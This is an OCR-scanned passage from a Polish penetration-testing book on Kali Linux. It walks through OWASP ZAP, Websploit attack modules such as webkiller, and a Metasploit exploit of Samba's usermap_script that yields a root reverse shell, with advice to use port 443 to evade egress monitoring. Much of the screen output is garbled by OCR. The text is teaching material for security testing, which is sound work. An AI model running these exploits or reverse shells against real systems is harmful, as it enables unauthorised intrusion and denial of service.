Gdy zapiszesz certyfikat na dysku, kliknij przycisk OK i uruchom przeglądarkę. Jeżeli korzystasz z przeglądarki Firefox, z menu głównego wybierz polecenie Tools/O ptions (N arzędzia/O pcje). Przejdź na kartę E ncryption (Certyfikaty) i kliknij przycisk View C ertificates (W yświetl certy fikaty). Na ekranie pojawi się okno menedżera certyfikatów. Kliknij przycisk Im port (Importuj), a następnie odszukaj i zaznacz certyfikat wygenerowany wcześniej przez Owasp-Zap (plik z roz szerzeniem .cer). Firefox zapyta Cię, dla kogo ten certyfikat powinien być uważany za zaufany. Zaznacz wszystkie trzy opcje, czyli kolejno zaufane strony internetowe, użytkowników poczty elektronicznej oraz deweloperów aplikacji. Na zakończenie dwukrotnie kliknij przycisk OK. You have been asked to trust a new Certificate Authority (CA). Do you want to trust "OWASP Zed Attack Proxy Root CA* for the following purposes? 0 Trust this C A to identify websites. 0 Trust this C A to identify email users. Trust this CA to identify software developers. Before trusting this CA for any purpose, you should examine its certifícate and its policy and procedures (if available). View
Examine CA certificate
Cancel
OK
107
K a li L in u x . T e s ty p e n e tra c y jn e
Kolejnym etapem przygotowań jest skonfigurowanie przeglądarki do przesyłania całego ruchu sieciowego przez nasz przechwytujący serwer proxy. Aby to zrobić w przeglądarce Firefox, z menu wybierz polecenie Tools/Options (Narzędzia/Opcje). Na ekranie pojawi się okno dialogowe opcji przeglądarki. Kliknij opcję A dvan ced (Zaawansowane), przejdź na kartę N etw ork (Sieć) i kliknij przycisk Settings (Ustaw ienia). Zaznacz opcję M anual Proxy (Ręczna konfiguracja serw erów proxy) i jako adres serwera proxy wpisz localhost, a następnie ustaw port 8080 (domyślny port komunikacyjny pakietu Owasp-Zap). Zaznacz opcję Use this proxy server f o r all protocols (Użyj tego .serw era proxy d la w szystkich protokołów ) i kliknij przycisk OK. Na rysunku poniżej przedstawiono wygląd okna konfiguracji przeglądarki Firefox po zakończeniu konfiguracji. Connection Settings
C o n figu re Proxies to A cc e ss the Internet O No proxy O Auto-detect proxy settings for this network O Use system proxy settings '• Manual proxy configuration: H T TP Proxy
localhost
Port:
8080 H
7 Use this proxy server for all protocols
No Proxy for: localhost. 127 0 0 1
Example mozilla org. net nz. 192 168 1 0/24 Automatic proxy configuration U R L
Help
Cancel
OK
Teraz przejdź do okna programu Owasp-Zap. W lewym górnym rogu okna powinieneś zoba czyć panel o nazwie Sites, którego zawartość będzie się pojawiać, w miarę jak będziesz odwiedzał w przeglądarce kolejne witryny internetowe. W panelu po prawej stronie okna będziesz mógł przeglądać wszystkie żądania i odpowiedzi przesyłane między przeglądarką a serwerem WWW. Pakiet Owasp-Zap pozwala na łatwe przeglądanie zasobów wykorzystywanych przez poszczególne strony witryny internetowej.
108
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Korzystając z pakietu Owasp-Zap, możesz również przeprowadzać ataki na wybrane witryny i aplikacje internetowe. Aby to zrobić, przejdź na kartę Quick Start i w polu URL to attack wpisz adres URL witryny. Poniżej przedstawiono wygląd okna programu Owasp-Zap podczas skanowa nia witryny www. thesecurityblogger. com .
Program Owasp-Zap do analizy witryny wykorzystuje swojego własnego, wbudowanego robota sieciowego, który pozwala na zidentyfikowanie wszystkich hiperlączy powiązanych z tą witryną oraz na przeprowadzenie skanu witryny w poszukiwaniu podatności i luk w zabezpieczeniach. Wyniki skanowania wraz z opisami poszczególnych podatności znajdziesz na karcie Alerts. Spider J History
Forced Browse / '
j
Fuser s
j
J_
r Ö A le rts ( 4 )
► r* Cross-domain JavaSchpt source file inclusion (273) » f r - Private IP disclosure (3) ► IÎS i- X -Content-Type-O ptions header missing (91) ► | f | ^ X-Frame-Options header not set (91)
Params j Http Sessions ^ Break Points X
_r
webSockets Alerts ^
£
AJAX Spi Act
C ro ss-d o m ain Ja vaS crip t s o u rce file in clu sio n URL http://www.thesecurityblogger.com Risk: R> Low Reliability: Warning Parameter: https://apis.google.com/js/plusone.Js Attack: Description:___________________________________
Zwróć uwagę na fakt, że Owasp-Zap domyślnie nie automatyzuje procesu uwierzytelniania. Jeżeli korzystasz wyłącznie z ustawień domyślnych, to wszystkie żądania uwierzytelniania użytkownika, które zostaną wystawione podczas zautomatyzowanego skanowania, zakończą się niepowodzeniem.
109
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Możesz jednak skonfigurować Owasp-Zap do automatycznego logowania. Aby to zrobić, musisz po włączeniu tego programu uruchomić przeglądarkę, przejść na wybraną stronę internetową, zalogować się ręcznie, następnie wskazać programowi, gdzie w zapisie ruchu sieciowego znajdują się żądania logowania i wylogowania, i wreszcie na koniec włączyć opcję automatycznego logowa nia. Kiedy odpowiednie żądania GET pojawią się w panelu Sites, przejdź na kartę R espon ses, odszukaj odpowiedź związaną z logowaniem do witryny, kliknij ją prawym przyciskiem myszy, z menu podręcznego wybierz polecenie Flag as Content i zaznacz, że jest to logowanie (L ogged in indicator). Następnie powtórz całą procedurę dla odpowiedzi związanej z wylogowaniem i zaznacz ją jako L og g ed out indicator. _ [ S ilw s « * 1
_
, H c u d c i: T u d
G ETiuu.phpfd.lunyid.uhccl.ulyJcid.ld)
C G E T :c o n tc n t.p h p "
' .
* |
Q G E T d e te c t.js
Coche C o n tro l: p riv ó te
(.1
h fa v ir o n .iro
¡m o yeu POST: p ro file . p h p (d n )(d o .s . s e n jrtty tn k e r%
http://W VW _
Budy: Tud.
fo ru m ru n n e r
■ POSTiogin.phpfdoHdo.s.sccunrytokcn. _
R w q u w s lw [ Rwypunsw — ] B iw ak .... |
*|
H T T P /1 . 1 2 0 0 0K n a r e : T u e , 14 May ? o i . l 1 R :1 9 : R 1 r u r Swi vwr : A p a c h e X - H o v e r e d - U y : H I P / S . 'J . l »
► i . djrih r Ü
j
[ Q u ick S la tl G E T .yuiloa de r-do m -e ven t.js(v)
P ra y m a : p r í v a l e ‘ ^ t - í n n k i e ' nw J a s t a r t i v i T v = M* e v r ti n v a r vb d is a b le a je * • r i . - t l ' l ) 1, v a r S I MPLEVERSION = ■ 4 2 1 " ;
'
var var vai var var
F* h ttp :/M w *r.th e s e c u rity b lo q q e r.c o m ------
h ttp .// w w #í — *■mŁ— laU.pi/il h ttp s :/
. "
/
BBURL = M r " » ' LOGGEOIN - 1 4 3 3 6 > 0 ? t r u e T H I S_S CR IP T - " l o g i n * ; RELPATH . f f l F lag as C on text PATHS * { fu r uni :
" ,
:
s i
1
►
F ind... E r iiu d c /D c iu d c /H u u li...
Fn rreH Rrnwse H islo ry *
]
F im re r^ l
P a ra m s [_)
Soar cli ^
]
S yn ta x
Http S e ss io n s
Biwak Po ints
X
j
A
C r o s s - d o m a in j a v i jr i : hrrp:/A Risk: ÍK Low R e lia b ility W a m in q
▼ ( a i A le rts (5 ) ► IÄ K - D ire c to ry b ro w s in g ( - l i )
► * Cross-dom ain JavaScript source file in clusion ( 3 9 12 ) » I I I f- Privóte ip disclosure (93) ► {¿¡I fa x-( o n re n t-iy p e -O p fio n s h e a d e r m is s in g ( 1 6SS)
►
V iew
< a n T Medo
Ip id e r '&?.
|i
O u tp u t
Spider
C anT u n d o < :tri+ v
C ul
C lil+ X
£upy
C U li c
Parameter: https://a
P a s te
A tta c k : Ucscnption:
D e le te
D e le te
S w lw il All
C lil+ A
ftr l+ V
M M /» X-i ra m e -O p tio n s h e a d e r n o t s e t (I'J b 'J ) T h e p u y e
S ave ua w
► ip l filcu fi u m u
_zz Na pasku narzędzi programu Owasp-Zap uaktywni się przycisk pozwalający na włączanie lub wyłączanie automatycznego uwierzytelniania (zobacz rysunek poniżej). Po włączeniu tego mechanizmu program Owasp-Zap będzie mógł automatycznie odpowiadać na żądania autoryzacji, jakie będą się pojawiały podczas skanowania danej witryny. Jest to bardzo przydatne rozwią zanie, pozwalające na automatyzację procesu eksploracji badanej witryny, która wymaga uwierzytelniania użytkownika.
Program Owasp-Zap posiada swój własny mechanizm aktualizacji całego pakietu. Jeżeli chcesz sprawdzić, czy pojawiła się już nowsza wersja tego oprogramowania lub czy dostępne są ja kieś nowe moduły, powiniene ś z menu głównego wybrać polecenie H elp /C h eck f o r updates.
110
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y ch
M anage A d d -o n s [ Installed [ M a rke tp la ce ]
Name Fuzzdb files BeanShell Console Passive scanner ru le s .. Port Scanner Report alert generator Script Console SVN Digger files Token generation and... TreeTools Active scanner rules (... Diff Highlighter Passive scanner rules .. SCIP - Control Event E... Server-Sent Events
Description Fuzdb v l.0 9 files which can be used with the ... Provides a BeanShell Console The beta quality Passive Scanner rules Allows to port scan a target server Allows you to generate reports for alerts you s... Provides dynamic acce ss to internal ZAP data ... SVN Digger files which can be used with ZAP f... Allows you to generate and analyze pseudo ra... Tools to add functionality to the tree view. The alpha quality Active Scanner rules Displays a dialog showing the differences bet... Allows you to highlight stnngs in the request a... The alpha quality Passive Scanner rules Identify, enumerate and activate dormant and... Allows you to view Server-Sent Events (SSE) co...
Update 2 2 3 3 9 7 2 5 2 1 2 3 1 2 5
W menu R ep ort znajdziesz polecenia pozwalające na tworzenie raportów. I Tools Online Help Export Messages to File... Export Response to File... Export All URLs to File... Compare with another Session... Generate HTML Report.. Generate XML Report...
Poniżej przedstawiamy fragment raportu w formacie HTM L, wygenerowanego po przeskanowaniu witryny www. thesecurityblogger. com .
111
fl
K a li L in u x . T e s ty p e n e tra c y jn e
WebspIoit f\ \ _ / \ \ K\ \ A \ \ \
/\ \ __ \ \ \ ____
/\
A _\ __
\
\/7\ \____ ___ A \ \ , \
___
\\\\\\\ /' "\\' \ /'. 'X A 1 \ \ \ \ / Y / \ \ \ V \\ \' \\~ /*\" \\ /\ _/\ \\L\\/\ „ ' \A \ \ \ L. \ /W/ \ \ \ “ A\ \\ L \ A\ \ \ \ \ \ \ \ ” \ A \ \\ \ . A A •V
//
/
V
/ V
/
V
/
\ \ V V \ Y_\ V /
/V
/
Y/ /\J /
W ebsploit to narzędzie, które powstało w ramach jednego z projektów open source i jest przeznaczone do automatycznego skanowania i wyszukiwania podatności oraz luk w zabezpiecze niach systemów zdalnych. Aby uruchomić pakiet Websploit, w menu głównym systemu Kali Linux przejdź do grupy Kali Linux, a następnie wybierz polecenie W eb A pplications/W eb A pplication Fuzzers/w ebsploit. Na ekranie pojawi się okno konsoli z wyświetlonym logo pakietu Websploit. Aby wyświetlić listę wszystkich dostępnych modułów, wraz z krótkimi opisami przeznaczenia, powinieneś wykonać polecenie show modules. Network Modules
Oesc r ip tio n
network/a rp d o s netwo rk/mfod netwo rk/mitm netwo rk/mlitm netwo rk/w eb kille r network/fakeupdate network/fakeap
ARP Cache D en ia l Of S e rv ic e Attack Middle F in g e r Of Doom Attack Man In The Middle Attack Man L e ft In The Middle Attack TCP K i l l Attack Fake Update A ttack Using DNS Spoof Fake Access Point
E x p lo it Modules
Desc r ip tio n
exploit/autopwn exploit/browser_autopwn e x p lo it/ ja v a _ a p p le t
M etasploit Autopwn S e rv ice M etasploit Browser Autopwn S e rv ice
K ffltL T T M to Ö " " |Wireless Modules
Desc r ip tio n
w if i/ w if i_ j amme r w if i/ w if i _dos
W ifi Jammer W ifi Dos Attack
Lf
*
"™ u
i
Aby uruchomić wybrany moduł, wpisz polecenie use i nazwę modułu, a następnie podaj pozostałe niezbędne informacje zgodnie z instrukcjami pojawiającymi się na ekranie. Aby na przykład uruchomić moduł w ebkiller, wpisz polecenie use network/webkiller, a następnie za pomocą polecenia set TARGET podaj cel ataku. Aby rozpocząć atak, wpisz polecenie run.
n nnnnn^
wsf > use netwo rk/webkilleif^ H T' | i n wsf :WebKiller > set TARGET h t t p ;://www[t|jgse^:u[r: ty^logger.qom TARGET => http://www.thesecurityblogger.com w s f :WebKiller > RUN|
112
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
fl
Wykorzystywanie znalezionych luk w zabezpieczeniach (exploity) Jeżeli pentester zainwestuje odpowiednią ilość czasu i zasobów w przeprowadzenie dobrze przygotowanego rekonesansu, to w rezultacie powinien otrzymać listę systemów, które z po wodu takich czy innych luk w zabezpieczeniach są podatne na ataki. Następnym krokiem po winno być zatem uszeregowanie poszczególnych systemów według ich przydatności w reali zacji całej misji, określenie nakładów pracy niezbędnej do wykorzystania zidentyfikowanych luk w zabezpieczeniach oraz oszacowanie ryzyka związanego z próbami przeprowadzenia ata ku na poszczególne systemy. W systemie Kali Linux znajdziesz wiele narzędzi, które wspomagają przeprowadzanie ataków na serwery aplikacji internetowych i wykorzystywanie luk w zabez pieczeniach, które zostały wcześniej zidentyfikowane w fazie rekonesansu.
Metasploit Pakiet M etasploit to jedno z najpopularniejszych na świecie narzędzi do przeprowadzania testów penetracyjnych i wykorzystywania podatności serwerów aplikacji internetowych. W opinii specjalistów jest to jedno z najbardziej użytecznych narzędzi dla pentesterów. Pierwsza wersja pakietu Metasploit powstała w roku 2003, a je j autorem był H D Moore. Metasploit jest wyko rzystywany najczęściej przez specjalistów zajmujących się przeprowadzaniem testów pene tracyjnych, aczkolwiek zdarza się również, że jest używany do niecnych celów przez hakerów i inne czarne charaktery współczesnego cyberświata. W internecie i nie tylko można znaleźć setki źródeł opisujących sposoby pracy z pakietem Metasploit. W naszej książce skoncentrujemy się jedynie na użyciu tego pakietu w czasie testów penetracyjnych do przeprowadzania ataków wykorzystujących zidentyfikowane wcześniej lu ki w zabezpieczeniach serwerów aplikacji internetowych.
Przed uruchomieniem pakietu upewnij się, że zostały włączone usługi Postgres SQL oraz Metasploit. Aby to zrobić, otwórz okno konsoli i wpisz polecenia odpowiednio serv ice postgresql s t a r t oraz service m etasploit s ta rt.
Pierwszym krokiem do uruchomienia pakietu Metasploit będzie otwarcie okna konsoli i wpisanie polecenia msfconsole, co spowoduje załadowanie konsoli będącej interfejsem użytkownika. Na początek powinieneś zapamiętać dwa podstawowe polecenia, help oraz show, które pomogą Ci zapoznać się z możliwościami pakietu.
Pamiętaj, że istnieją jeszcze inne metody uruchamiania pakietu Metasploit, takie jak polecenie msfgui (wersja z graficznym interfejsem użytkownika) oraz msfcli (wersja do pracy bezpośrednio z wiersza poleceń terminalu).
113
fl
K a li L in u x . T e s ty p e n e tra c y jn e
W ersja konsolowa, msfconsole, umożliwia wywoływanie nie tylko komend pakietu Metasploit, ale także poleceń systemu operacyjnego, takich jak ping czy nmap. Jest to bardzo użyteczne rozwią zanie, ponieważ pozwala pentesterowi na wykonywanie innych zadań bez konieczności opuszcza nia konsoli pakietu Metasploit. Na początek użyjemy skanera Nmap do przeskanowania sieci lokalnej. Wyniki mogą być au tomatycznie załadowane do pakietu Metasploit za pośrednictwem pliku XM L. Polecenie, które wywołamy, wygląda następująco: nmap -n -oX my.xml network
msf > nmap -n -oX my.xml 172.16.189.0/24 [*] exec: nmap -n -oX my.xml 172.16.189.0/24 Wyniki działania skanera Nmap załadujemy do pakietu Metasploit za pośrednictwem pliku XM L. Możemy tego dokonać za pomocą następującego polecenia: db_import my.xml Po zakończeniu szybko wpisujemy polecenie h o s t , aby upewnić się, że dane zostały zaimportowa ne pomyślnie i że Metasploit posiada teraz komplet danych ze skanera Nmap.
msf > db import my.xml [*] Importing 'Nmap XML' data [♦I Import: Parsing with 'N okogiri v l.5 .2 ' [*] Importing host 172.16.189.1 [*] Importing host 172.16.189.5 I*J Importing host 172.16,189.131 [*] S u cce ssfu lly imported /root/my.xml msf > hosts Hosts address 0 comments
mac
172.16.189.1
00:50:56:36:00:68
name osname
o s f la v o r
ossp
purpose
Unknown
device
172.16.189.5
Unknown
device
172.16.189.131 00:50:56:96:51:33 1msf >
Unknown
device
Następnie użyjemy polecenia s e r v ic e s do wyświetlenia listy usług dostępnych w pakiecie Meta sploit. Na zrzucie ekranu, który widać na rysunku na następnej stronie, przedstawiamy przy kładowe wyniki działania polecenia services. Skanowanie sieci za pomocą skanera Nmap oraz zaimportowanie pliku XM L zawierającego wyni ki jego działania do pakietu Metasploit możesz przeprowadzić w jednym kroku, za pomocą
114
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
ssh http SIMJX fwl-secureremote es ro-gen h.323/q.931 https o m g in itialre fs bgmp rpcbind ssh ftp telnet smtp domain http netbios-ssn m icrosoft-ds mysql postgresql aj pl3 unknown
|
open open open open open open open open open open open open open open open open open open open open open open
polecenia db_nmap. W przykładzie przedstawionym poniżej używamy polecenia db_nmap do skanowania sieci z wykorzystaniem opcji wywołania skanera Nmap.
msf > db nmap -n -A 17 2 .1 6 .1 8 9 .1 3 1 Teraz ponownie możemy użyć poleceń hosts oraz services do sprawdzenia, czy Metasploit otrzymał poprawny zestaw danych. Services host
port
proto
name
tcp ftp 172.16.189.131 21 172.16.189.131 22 tcp ssh protocol 2.8 172.16.189.131 23 telnet tcp 172.16.189.131 25 tcp smtp 172.16.189.131 53 tcp domain tcp 172.16.189.131 88 http P/5.2.4-2ubuntu5.18 with Suhosin-Patch 172.16.189.131 139 tcp netbios-ssn GROUP tcp 172.16.189.131 445 m icrosoft-ds 172.16.189.131 3386 tcp mysql 172.16.189.131 5432 tcp postgresql 172.16.189.131 8889 tcp a jpl3 172.16.189.131 8188 tcp http e 1.1
state
info
open open
ProFTPD 1.3.1 OpenSSH 4.7p l Debian Subuntul
open open open open
Linux telnetd P o stfix smtpd Apache httpd 2.2.8 (Ubuntu) PH
open
Samba smbd 3.X workgroup: WORK
open open open open open
MySQL 5.8.51a-3ubuntu5 PostgreSQL DB 8.3.8 - 8.3.7 Apache Jserv Protocol v l.3 Apache Tomcat/Coyote JSP engin
Wykonanie polecenia serv ices ujawnia, że do udostępniania plików i drukarek używany jest serwer Samba. Sprawdzimy zatem, czy możemy znaleźć jakąś lukę w jego zabezpieczeniach i wykorzystać ją do naszych celów. Warto zauważyć, że choć w tym przypadku atakujemy rzeczywisty serwer aplikacji internetowych, to z różnych względów pełna próba przełamania
115
fl
K a li L in u x . T e s ty p e n e tra c y jn e
jego zabezpieczeń nie zawsze będzie nam na rękę. Pamiętaj jednak, że prawdziwy napastnik (haker czy inny czarny charakter) bez wahania będzie próbował wykorzystać każdą znalezioną lukę w zabezpieczeniach i uzyskać dostęp do serwera. W historii serwerów Samba takie czy inne luki w zabezpieczeniach i związane z nimi exploity pojawiały się dosyć często. Istnieje nawet ranking exploitów, szeregujący je pod względem potencjalnego zagrożenia dla systemu. W naszym przypadku skorzystamy z exploita o nazwie usermap_script, wykorzystującego podatność, która we wspomnianym rankingu plasuje się bardzo wysoko. Moduł działa na serwerach Samba w wersjach od 3.0.20 3.0.25rc3. W ięcej szczegółowych informacji na temat tej podatności znajdziesz na stronie http://w w w .m etasploit.com /m odules/ exploit/m ulti/sam ba/userm ap_script. 172.16.189.131 172.16.189.131 172.16.189.131 172.16.189.131 e 1.1
3386 tcp 5432 tcp 8889 tcp 8188 tcp
mysql postgresql a jp l3 http
open open open open
MySQL 5.0.51a-3ubuntu5 PostgreSQL 08 8 .3 .8 - 8.3.7 Apache Jserv Protocol v l.3 Apache Tomcat/Coyote JSP engin
msf > search samba type:exploit platform:unix Matching Modules Name Description
Disclosure Date
Rank
exploit/linux/sam ba/setinfopolicy heap 2812-84-18 08:80:88 UTC norm Samba Setlnform ationPolicy AuditEventsInfo Heap Overflow exploit/multi/samba/usermap s c rip t 2887-85-14 88:08:88 UTC exce lle n t Samba "username map scrip t" Command Execution exploit/unix/w ebapp/citrixaccess gateway exec 2818-12-21 08:08:88 UTC exce lle n t C it r ix Access Gateway Command Execution msf > al
Aby użyć konkretnego modułu (exploita), musimy skorzystać z komendy use. W naszym przy padku wygląda to następująco: msf > search samba type:exploit platform:unix Matching Modules Name Description
Disclosure Date
Rank
exploit/linux/sam ba/setinfopolicyheap 2012-84-16 68:88:88 UTC norm Samba Setlnform ationPolicy AuditEventsInfo Heap Overflow exploit/multi/samba/usermap sc rip t 2887-85-14 68:68:68 UTC exce lle n t Samba "username map scrip t" Command Execution exploit/unix/w ebapp/citrixaccessgatew ay exec 2818-12-21 80:00:88 UTC exce lle n t C it r ix Access Gateway Command Execution msf > use exploit/multi/samba/usermap sc rip t |
al
116
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
Po wybraniu modułu musisz sprawdzić, jakie dane trzeba dostarczyć przed jego uruchomie niem, i ustalić, jaki ładunek (ang. payload) chcesz wysłać do atakowanego systemu. Listę nie zbędnych opcji możesz wyświetlić na ekranie za pomocą polecenia show o p t io n s , jak przed stawiono na rysunku poniżej: msf > use exploit/multi/samba/usermap sc rip t msf e x p lo it(usermap_script) > show options Module options (exploit/multi/samba/usermap s c r ip t ) : Name
Current Setting
RHOST RPORT 139 Exp lo it target: Id Name
Required
Description
yes yes
The target address The target port
6 Automatic msf exploit(userm ap_script) >
Jak widać, w tym przypadku musisz podać wartość zmiennej RHOST, reprezentującej adres IP zdalnego hosta, który będzie celem ataku. Teraz będziesz musiał wybrać ładunek oraz ustawić jego opcje. Ładunek to specjalnie przygotowany fragment kodu, który zostaje dostarczony do zdalnego hosta i po uruchomieniu próbuje wykorzystać określoną podatność. Ponieważ daną lukę w zabezpieczeniach można zwykle wykorzystać na kilka różnych sposobów, to często zdarza się, że dla danego exploita będziesz miał kilka lub nawet kilkanaście ładunków do wyboru. Aby sprawdzić, jakie ładunki są dostępne dla wybranego exploita, wpisz polecenie show p a y lo a d s . cmd/unix/bind netcat ipv6 etcat -e) IPv6 cmd/unix/bind peri e r l) cmd/unix/bind p eri ipv6 e r l) IPv6 cmd/unix/bind ruby uby) cmd/unix/bind ruby ipv6 uby) IPv6 cmd/unix/generic tion cmd/unix/reverse TCP (te ln e t) cmd/unix/reverse netcat a netcat -e) cmd/unix/reverse peri a Perl) cmd/unix/reverse python a Python) cmd/unix/reverse ruby a Ruby) msf e x p lo it(userm ap scrip t) >
normal
Unix Command S h e ll, Bind TCP (via n
normal
Unix Command S h e ll, Bind TCP (v ia P
normal
Unix Command S h e ll, Bind TCP (via p
normal
Unix Command S h e ll, Bind TCP (v ia R
normal
Unix Command S h e ll, Bind TCP (via R
normal
Unix Command, Generic Command Execu
normal
Unix Command S h e ll, Double reverse
normal
Unix Command S h e ll, Reverse TCP (v i
normal
Unix Command S h e ll, Reverse TCP ( v i
normal
Unix Command S h e ll, Reverse TCP (v i
normal
Unix Command S h e ll, Reverse TCP ( v i
Po wyświetleniu listy dostępnych ładunków musisz wybrać, który z nich zostanie użyty. Aby to zrobić, wpisz polecenie s e t p a y lo a d i następnie nazwę wybranego ładunku.
117
fl
K a li L in u x . T e s ty p e n e tra c y jn e
ciid/unix/bind peri normal Unix e rl) cmd/unix/bind peri ipv6 normal Unix e rl) IPv6 cnd/unix/bind ruby normal Unix uby) cmd/unix/bind ruby ipv6 normal Unix uby) IPv6 cmd/unix/qeneric normal Unix tion c»d/unix/reverse normal Unix Itc P (telnet) cmd/unix/reverse netcat normal Unix a netcat -e) cmd/unix/reverse peri normal Unix a Perl) cmd/unix/reverse python normal Unix a Python) cmd/unix/reverse ruby normal Unix a Ruby) jmsf exp(oit(usermap_script) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse Imsf exploit(usermapscript) >
Po wybraniu konkretnego ładunku powinieneś ponownie wykonać polecenie show o p t io n s , aby sprawdzić, jakie opcje musisz ustawić dla wybranego ładunku. cmd/unix/bind peri normal Unix e rl) cmd/unix/bind peri ipv6 normal Unix e rl) IPv6 cmd/unix/bind ruby normal Unix uby) cmd/unix/bind ruby ipv6 normal Unix uby) IPv6 cmd/unix/generic normal Unix tion cmd/unix/reverse normal Unix TCP (telnet) cmd/unix/reverse netcat normal Unix a netcat -e) cmd/unix/reverse peri normal Unix a Perl) cmd/unix/reverse python normal Unix a Python) cmd/unix/reverse ruby normal Unix a Ruby) mst exploit|usermap_scnpt) > set PAYLOAD cmd/unix/reverse PAYLOAD => cmd/unix/reverse msf exploit(usermapscript) > show options^
Jak widać na rysunku przedstawionym poniżej, nasz wybrany ładunek wymaga ustawienia wartości zmiennych LHOST oraz LPORT. Zmienna LHOST to adres Twojego lokalnego komputera. Exploit, którego użyjemy, powoduje, że zdalny host będzie próbował ustanowić połączenie z systemem, na którym działa pakiet Metasploit, dlatego musi „znać” jego adres IP Oprócz tego musimy wybrać port komunikacyjny, którego zdalny host będzie używał do połą czenia z pakietem Metasploit. W większości środowisk korporacyjnych liczba otwartych portów wykorzystywanych do komunikacji ze światem zewnętrznym jest bardzo mocno ograniczona przez odpowiednio skonfigurowane routery czy zapory sieciowe. W takiej sytuacji najlepszym
lis
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
|
rozwiązaniem będzie wykorzystanie powszechnie używanego portu komunikacyjnego, takiego jak na przykład 443. Port o tym numerze jest zarezerwowany dla ruchu SSL i zazwyczaj środowi ska korporacyjne zezwalają na jego wykorzystywanie. Kolejną zaletą używania portu 443 jest fakt, że większość firm i organizacji nie monitoruje ruchu SSL. Z naszych doświadczeń z kolei wynika, że użycie portu 443 (ustawienie zmiennej LPORT na wartość 443) w większości przy padków pozwalało na ominięcie zainstalowanych w atakowanym środowisku wewnętrznych serwerów proxy, których zadaniem było monitorowanie ruchu wychodzącego na zewnątrz i blo kowanie niepożądanych połączeń. RHOST 172.16.189.131 yes RPORT 139 yes Payload options (cmd/unix/reverse): Name
Current Setting
LHOST LPORT 4444 Exp lo it target: Id Name
The target address The target port
Required
Description
yes yes
The lis t e n address The lis t e n port
8 Automatic msf e xp lo it(u serm a p scrip t) > set LHOST 172.16.189.5 LHOST => 172.16.189.5 msf exploit(userm ap_script) > set LPORT 443 LPORT => 443 msf e x p lo it(usermap s c r ip t) > e x p lo it!________________
Po wybraniu ładunku i ustawieniu jego opcji możesz uruchomić exploit i rozpocząć przepro wadzanie ataku. Aby to zrobić, wpisz polecenie e x p l o i t . Jeżeli działanie modułu zakończy się powodzeniem, zostaniesz połączony ze zdalnym serwerem. Po uzyskaniu połączenia możesz wykonywać dowolne polecenia — jak widać na rysunku poniżej, wybrany exploit pozwolił na uzyskanie połączenia ze zdalnym serwerem na prawach użytkownika ro o t (pełne uprawnienia administratora systemu). msf e xp lo it(u se rm a p scrip t) > set LHOST 172.16.189.5 LHOST => 172.16.189.5 msf e xp lo it(u se rm a p scrip t) > set LPORT 443 LPORT => 443 msf e x p lo it(usermap s c r ip t) > e xp lo it [*] Started reverse double handler [*] Accepted the f i r s t c lie n t connection... [*] Accepted the second c lie n t connection... [*] Command: echo BySs63KAtbI6fYyO; [*] W riting to socket A [*] W riting to socket B I*] Reading from so c k e ts... [*] Reading from socket 8 [*J B: ■BySs63KAtbI6fYyONr\n" (*] M atching... [*] A i s in p u t... [*] Command s h e ll session 1 opened (172.16.189.5:443 -> 172.16.189.131:45728) at 2813-84-1 6 15:14:85 -8588 whoami root
119
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Pakiet Metasploit oferuje bardzo dużą liczbę wbudowanych modułów i wtyczek. Więcej szczegó łowych informacji na ten temat znajdziesz na stronie http://w w w .m etasploit.com /.
w 3af
Pakiet w 3af (ang. Web Application Attack an d Audit Framework) to otwarty skaner aplikacji inter netowych i narzędzie do wykorzystywania podatności i luk w zabezpieczeniach. Aby urucho mić ten pakiet w systemie Kali Linux, w menu głównym przejdź do grupy K ali Linux i następnie wybierz polecenie W eb A pplication A ssessm ent/W eb V ulnerability Scanners/w 3af. Pakiet w 3af posiada bardzo wygodny kreator, ułatwiający skonfigurowanie i przeprowadzenie skanu, aczkolwiek można bez problemu używać tego programu bez korzystania z kreatora. Pierwszą czynnością po uruchomieniu skanera jest utworzenie nowego profilu lub załadowa nie profilu już istniejącego. Profile są wykorzystywane do grupowania wtyczek, które zostaną użyte do przeprowadzenia ataku. Skaner w3af posiada wbudowany cały szereg znakomitych, domyślnych zestawów wtyczek, jak choćby OWASP TOP10. Kiedy zaznaczysz wybrany profil lub wtyczkę, jego lub je j definicja pojawi się w centralnej części okna, jak zaprezentowano na rysunku poniżej. Możesz wybrać jed en z istniejących profili skanowania lub utworzyć nowy. Aby wybrać profil, kliknij jego nazwę na liście w lewej części ekranu. Jeżeli używasz nowego profilu lub edytujesz jed en z istniejących profili, możesz zaznaczyć lub usunąć zaznaczenie żądanych wtyczek. Im więcej aktywnych wtyczek będzie przypisanych do danego profilu, tym więcej czasu będzie zajmowało skanowanie systemu. Jeżeli zaznaczysz wiele wtyczek, skaner w 3af wyświetli na ekranie ostrzeżenie, że wykonanie takiego skanu będzie wymagało znacznej ilości czasu. T h e O p e n W e b A p p lic a tio n S e c u r it y P ro je c t (O W A S P ) is a w o r ld w id e f r e e a nd o p e n c o m m u n ity fo c u s e d on im p ro v in g t h e s e c u r it y o f a p p lic a tio n s o ft w a r e . O W A S P s e a rc h e d f o r a nd p u b lis h e d t h e t e n m o s t co m m o n s e c u r it y f la w s . T h is p r o f ile s e a rc h f o r t h is t o p 1 0 s e c u r it y f la w s . F o r m o re in fo r m a tio n a b o u t t h e s e c u r it y f la w s : h t t p : / / w w w . o w a s p . o r g / in d e x . p h p / O W A S P _ T o p _ T e n _ P r o je c t .
Następnie w polu Target wpisz adres U R L serwera, którego skan masz zamiar przeprowadzić, i kliknij przycisk Start. Na rysunku zamieszczonym poniżej przedstawiamy wygląd okna pro gramu w 3af skonfigurowanego do skanowania witryny w w w .thesecu rityblogger.com .
120
R o z d z ia ł 3. • A ta k i na s e rw e ry a p lik a c ji in te rn e to w y c h
1 P ro file s
L d it V ie w
t
p
lo o ls
c o n fig u r â t! o n
|
H e lp
sa
ę
e
I Sc >i i i ( o n ficj
profiles wnfriyjHofilH O W AS P TO P 10
audit_high_risk brutetorce ldSl.Jrf.dM
fuli audit full_audit_manual_disi sitemap
